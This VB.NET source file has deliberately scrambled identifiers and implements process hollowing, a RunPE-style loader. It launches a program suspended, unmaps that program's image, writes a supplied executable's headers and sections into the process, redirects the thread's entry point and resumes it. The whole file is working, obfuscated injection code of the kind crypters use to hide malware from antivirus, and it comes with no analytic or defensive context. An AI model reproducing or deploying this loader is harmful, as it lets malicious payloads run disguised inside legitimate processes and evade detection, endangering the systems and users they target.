Imports System.Runtime.InteropServices
Imports System.ComponentModel

Public Class dd
    Public Const rnblBJonduUOAwhEQ As Long = &H200
    Public Const mOcKXLCUTIoYPlmVo As Long = &H40
    Public Const IXtVXUoZDCZrtBJIr As Long = &H80
    Public Const EvvrsXCGqNtDLnOYS As Long = &H20
    Public Const XHOGsgpLaGdXqChLV As Long = &H10
    Public Const TfQcRiDpQRAgIomcs As Long = &H8
    Public Const mognQrpuALiDmEIOv As Long = &H1
    Public Const iPiMmuDamWFMFqNfW As Long = &H4
    Public Const WKLsAFBhVKcHjVqRM As UInt32 = &H2
    Shared Sub makeit(ByVal krdcVRBTsPgkgXSUm() As Byte, ByVal GDuoVanYcIQHNjlGp As String)
        Dim CbvMqcBESUlQcYqXQ = New VkPYqlnKCNVkKlNJT.RLRuPoCnpYptZaRar, kVhIOAosYSZPGmlNu As VkPYqlnKCNVkKlNJT.gsjekDCZOduZWbqeU, CFDqkMoevWesDoMQX = New VkPYqlnKCNVkKlNJT.vdEOIOCLlhBESdRhv, RmVaIXoQVbiYAplTB = New VkPYqlnKCNVkKlNJT.NNXweaDuLmFhPfpkZ, gWnKdjpCsfnEtrMWc = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC, vGIsCuplRkrhqtkZG = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC
        Dim qeKRXADRHvOqIipqd = GCHandle.Alloc(krdcVRBTsPgkgXSUm, GCHandleType.Pinned)
        Dim MobcXJqXopwNnuMdg As Integer = qeKRXADRHvOqIipqd.AddrOfPinnedObject.ToInt32
        Dim IOdBtMEDeDTWFjQtH As New VkPYqlnKCNVkKlNJT.bYtMsVqIOtDqjwkgK
        IOdBtMEDeDTWFjQtH = Marshal.PtrToStructure(qeKRXADRHvOqIipqd.AddrOfPinnedObject, IOdBtMEDeDTWFjQtH.GetType)
        qeKRXADRHvOqIipqd.Free()
        If VkPYqlnKCNVkKlNJT.CreateProcess(Nothing, GDuoVanYcIQHNjlGp, gWnKdjpCsfnEtrMWc, vGIsCuplRkrhqtkZG, False, 4, Nothing, Nothing, RmVaIXoQVbiYAplTB, CFDqkMoevWesDoMQX) = 0 Then Return
        Dim XwviRXEmEHXCBlpAi As New VkPYqlnKCNVkKlNJT.qIOuRgqrlBIWgALjl
        XwviRXEmEHXCBlpAi = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL), XwviRXEmEHXCBlpAi.GetType)
        Dim mgQTmjEYbMcfvmQDL, IphemsrdLFMCdCkmO As Long, EQiDLvFKARgLsooGm As UInteger
        RmVaIXoQVbiYAplTB.XZCOKHrPhKQeZDLpp = Len(RmVaIXoQVbiYAplTB)
        CbvMqcBESUlQcYqXQ.TAEkgJFsXVlnopQJQ = 65538
        If XwviRXEmEHXCBlpAi.mKUwgSrBHPVKWFjtT <> 17744 Or IOdBtMEDeDTWFjQtH.hhWVFVFeuapTlroMq <> 23117 Then Return
        If VkPYqlnKCNVkKlNJT.GetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ) And VkPYqlnKCNVkKlNJT.ReadProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, mgQTmjEYbMcfvmQDL, 4, 0) >= 0 And VkPYqlnKCNVkKlNJT.ZwUnmapViewOfSection(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, mgQTmjEYbMcfvmQDL) >= 0 Then
            Dim OCKmvsGCrjBceuoTv As UInt32 = VkPYqlnKCNVkKlNJT.VirtualAllocEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.djcXUHGlQoGIbwPWY, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.wssiTQtqAhncILjIc, 12288, 4)
            If OCKmvsGCrjBceuoTv <> 0 Then
                VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv, krdcVRBTsPgkgXSUm, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.sTuHpSHXnsKlYAnZC, EQiDLvFKARgLsooGm)
                IphemsrdLFMCdCkmO = IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL + 248
                For OcOSpbtcXmrIFNKLF As Integer = 0 To XwviRXEmEHXCBlpAi.KDQoNeHINAPRUCPcd.dNgDNntNuqwlCOiPg - 1
                    kVhIOAosYSZPGmlNu = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IphemsrdLFMCdCkmO + OcOSpbtcXmrIFNKLF * 40), kVhIOAosYSZPGmlNu.GetType)
                    Dim ZkiZjqHrkETuRDngH(kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK) As Byte
                    For nVDJHEIdJJYZNFOjh As Integer = 0 To kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK - 1 : ZkiZjqHrkETuRDngH(nVDJHEIdJJYZNFOjh) = krdcVRBTsPgkgXSUm(kVhIOAosYSZPGmlNu.KeUUHNuiqCItsSiVk + nVDJHEIdJJYZNFOjh) : Next
                    VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, ZkiZjqHrkETuRDngH, kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK, EQiDLvFKARgLsooGm)
                    VkPYqlnKCNVkKlNJT.VirtualProtectEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, kVhIOAosYSZPGmlNu.FFVqcQIPgOcFKHnmL.suBkiCuwTvDQvQKSK, YOmFcZuUQHMZpTJYO(kVhIOAosYSZPGmlNu.TAEkgJFsXVlnopQJQ), mgQTmjEYbMcfvmQDL)
                Next OcOSpbtcXmrIFNKLF
                Dim UmobBcJBGShiHIOpm = BitConverter.GetBytes(OCKmvsGCrjBceuoTv)
                VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, UmobBcJBGShiHIOpm, 4, EQiDLvFKARgLsooGm)
                CbvMqcBESUlQcYqXQ.nvHmAkvGnMRFlVibp = OCKmvsGCrjBceuoTv + XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.mgQTmjEYbMcfvmQDL
                VkPYqlnKCNVkKlNJT.SetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ)
                VkPYqlnKCNVkKlNJT.ResumeThread(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt)
            End If
        End If
    End Sub
    Private Shared Function jWJLWnJjdXlODKmsP(ByVal BGbsrCJVCbprALOwq As Long, ByVal FgaWWwvpMQViiWJfS As Long) As Long
        jWJLWnJjdXlODKmsP = UQsHrLvajVaOfYhit(BGbsrCJVCbprALOwq) / (2 ^ FgaWWwvpMQViiWJfS)
    End Function
    Private Shared Function UQsHrLvajVaOfYhit(ByVal QoudQNKHZguXuNmCU As Long) As Double
        Const jANoPWwMJZerbZJlX = 4294967296.0#
        If QoudQNKHZguXuNmCU < 0 Then
            UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU + jANoPWwMJZerbZJlX
        Else
            UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU
        End If
    End Function
    Private Shared Function YOmFcZuUQHMZpTJYO(ByVal XrnXaetTpOEmJFmXM As Long) As Long
        Dim SSotwhHwfZYvYrrok() As Object = {mognQrpuALiDmEIOv, XHOGsgpLaGdXqChLV, WKLsAFBhVKcHjVqRM, EvvrsXCGqNtDLnOYS, iPiMmuDamWFMFqNfW, mOcKXLCUTIoYPlmVo, iPiMmuDamWFMFqNfW, iPiMmuDamWFMFqNfW}
        YOmFcZuUQHMZpTJYO = SSotwhHwfZYvYrrok(jWJLWnJjdXlODKmsP(XrnXaetTpOEmJFmXM, 29))
    End Function
    <EditorBrowsable(1)> Friend Class VkPYqlnKCNVkKlNJT
        <StructLayout(0)> Structure RLRuPoCnpYptZaRar
            Dim TAEkgJFsXVlnopQJQ, lcIHvquEPSIRFGNan, hCKdUtIiFedaUsSrO, DMaoUFunlXNuCIldR, wkcNpHIUbihGRuquo, SttZpQuZLcRavJNhs, OUuvOTIGBnmjOvSAS As UInt32, hdOJNcvLigWGsLlkV As hdOJNcvLigWGsLlkV
            Dim dEQfjfJpYrqPKAqEt, wNgrjnvuIlajpNMnw, sliPHqJavwvsHCRHX, OvCbHCvgepfPlOlqa, JVDAdFJMUECYEDqKA, dfULcOwREujsiQMtD, SbIQZpsVEYeTPIjCX, YGWhBQKvrIHEAFRNb, rPmtBZwDbCoYfRkwe, nvHmAkvGnMRFlVibp, nnoRWcKhRNLhuGpQF, JwHdWlwmBGsDbTMDI, FXJCsoLToRPMqIRUf, YgaNrAAYXLAgYUkGi, UHbjQCLFNWUpnJpXJ, nQsvQLAKuPEMVWLJM As UInt32
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim jouTmOLnkbYVkLQak As Byte()
        End Structure
        <StructLayout(0)> Structure hdOJNcvLigWGsLlkV
            Dim FBNflXAsUUJpRYkMn, BYPEKaMZKfdBgNpdN, UigPJiBerZNVOZLPR, PJhlflMLhkhedOQgo, jSBAfuBQRdSBLbjTr, eqDVEAMuGomKaQojS, ACThDJBCniWeHcLWV As UInteger
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim taVGZLNgdtqnWRQnt As Byte()
            Dim PjmRZUClNmbKEejZw As UInt32
        End Structure
        Structure FFVqcQIPgOcFKHnmL
            Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32
        End Structure
        Structure gsjekDCZOduZWbqeU
            Dim LKnnuXNRDBvTTToqW As Byte, FFVqcQIPgOcFKHnmL As FFVqcQIPgOcFKHnmL, mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK, KeUUHNuiqCItsSiVk, eUHCugCXkrfmAfKcZ, arJXTjNDaFCvQUPtA, tEZjSsCIKwjSuhjfD, pcbIouOmAKHbMWowb, TAEkgJFsXVlnopQJQ As UInt32
        End Structure
        Structure vdEOIOCLlhBESdRhv
            Dim wRoFahGQUeuwitPQU, ErngEesjeTZnSHLwt As IntPtr, LlrToGDrgDovriKje, HMtpMJOYWOLHJXPCE As Integer
        End Structure
        <StructLayout(0, CharSet:=3)> Structure NNXweaDuLmFhPfpkZ
            Dim XZCOKHrPhKQeZDLpp As Integer, aVNEMSDdGIsbnkimH, VtOZiVOKtTQkFZnGf, pFflhdEPdMAHkmKpi As String, kdhKGgPtTYUQCbPJJ, nVDJHEIdJJYZNFOjh, GnAVGpEBDREkhnisM, CNCrbsPeqcZtwcnMj, VXTGbEEjZWJQdpJvn, RvUbAGPQPhdZseOPN, kHlnwPFVwaNtaqiCQ, TAEkgJFsXVlnopQJQ As Integer
            Dim gfnMVSQCmliFpfnSo, CoGXVbFHWfSYXsJFr As Short, vPItqeQlMqmhmhOWS, RYZIqnFqtjWETthIV, NwadPpQXjvrNiimZs, gJrpOBGcSobhQvJLv As Integer
        End Structure
        <StructLayout(0)> Structure bupgCmDgirKNMgRnC
            Dim bgtOkERIICvqfkNcW As Integer, vqMZkNGOptfNMAhOZ As IntPtr, ikmIuVDUYhFIrcNAP As Integer
        End Structure
        <StructLayout(0)> Structure bYtMsVqIOtDqjwkgK
            Dim hhWVFVFeuapTlroMq, eLneTYPBOsZRJRSRm, AUHpTgEGvlJloemDp, tsJOojPjlAeuGTqUQ, suBkiCuwTvDQvQKSK, PFZaosEpVqORkfNHT, LcbwNvPVLEiaCUSXr, nQsvQLAKuPEMVWLJM, emsKMHEarvSuhhlKu, aMtgiJQHhJnGwWqbU, tWNriSFMRCXZdiNNX, ouPQGVQqHOrjtXRev, LGfcGeFvoHbFaklQB, GehBchQceSwOpZqhZ As UInt16
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim aVNEMSDdGIsbnkimH As UInt16()
            Dim ZnAMbqGhOLgiXlMTc, VOCiAsROEXDrmaRkC As UInt16
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim CoGXVbFHWfSYXsJFr As UInt16()
            Dim mgQTmjEYbMcfvmQDL As Int32
        End Structure
        Structure qIOuRgqrlBIWgALjl
            Dim mKUwgSrBHPVKWFjtT As UInt32, KDQoNeHINAPRUCPcd As oXTtAEGTkQkOTnlXG, hLaBvEsHaciwMKKFB As kvVSVHRwabIXicpnd
        End Structure
        <StructLayout(0)> Structure oXTtAEGTkQkOTnlXG
            Dim GIleVQGFKVprQoMag, dNgDNntNuqwlCOiPg As UInt16, CfnDrTRiAgMDfdRrH, LGfcGeFvoHbFaklQB, VpGOqbHnhZtXNqkdK As UInt32, suBkiCuwTvDQvQKSK, TAEkgJFsXVlnopQJQ As UInt16
        End Structure
        <StructLayout(0)> Structure kvVSVHRwabIXicpnd
            Public hhWVFVFeuapTlroMq As UInt16, RQIkPeSUXlRgcfpui, kZZvPnHZHeBDJsMgl As Byte, gAaUlqSGupVMYhQAL, CJrgkCHLeiFgGtkjO, uhtFJESpTuZpVipDm, mgQTmjEYbMcfvmQDL, QqMQJNIuDnKLDvLmp, krdcVRBTsPgkgXSUm, djcXUHGlQoGIbwPWY As UInt32, MROmeQTaqBeVSkQGQ, fbfAeZIgasOowwkqT As UInt32
            Public bBgWDcTMQGiAOloKq, uLAiClIRAwTUtBLtt, qjCHYnTvnLndLnQNU, MsSSYwJDXEXApCjwX, ITUotCUhMPrJIooQv, bckCtLJmtIcdmELCB As UInt16, XDmYSOUTjUwmEqPTY, wssiTQtqAhncILjIc, sTuHpSHXnsKlYAnZC, aMtgiJQHhJnGwWqbU As UInt32, qMGkRWJYTNgJjGjFc, TAEkgJFsXVlnopQJQ As UInt16
            Public lkIJnZUFJYDSBsoWC, IuYUniKKqSlmfHKJF, DUaqLlVngdIvvtPad, WeqELuKsQWpScJjMg, SFsahwVZGiMbrvndH, lOMmgIKembtuZKKPK As UInt32
            <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public hmNLFLWLcmRHowPgh As hmNLFLWLcmRHowPgh()
        End Structure
        <StructLayout(0)> Structure hmNLFLWLcmRHowPgh
            Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32
        End Structure
        Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As bupgCmDgirKNMgRnC, ByRef thread As bupgCmDgirKNMgRnC, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As NNXweaDuLmFhPfpkZ, <Out()> ByRef info As vdEOIOCLlhBESdRhv) As Boolean
        Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, <Out()> ByRef written As Integer) As Boolean
        Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer
        Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, <Out()> ByVal old As UInt32) As Integer
        Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr
        Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long
        Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32
        Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean
        Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean
    End Class
End Class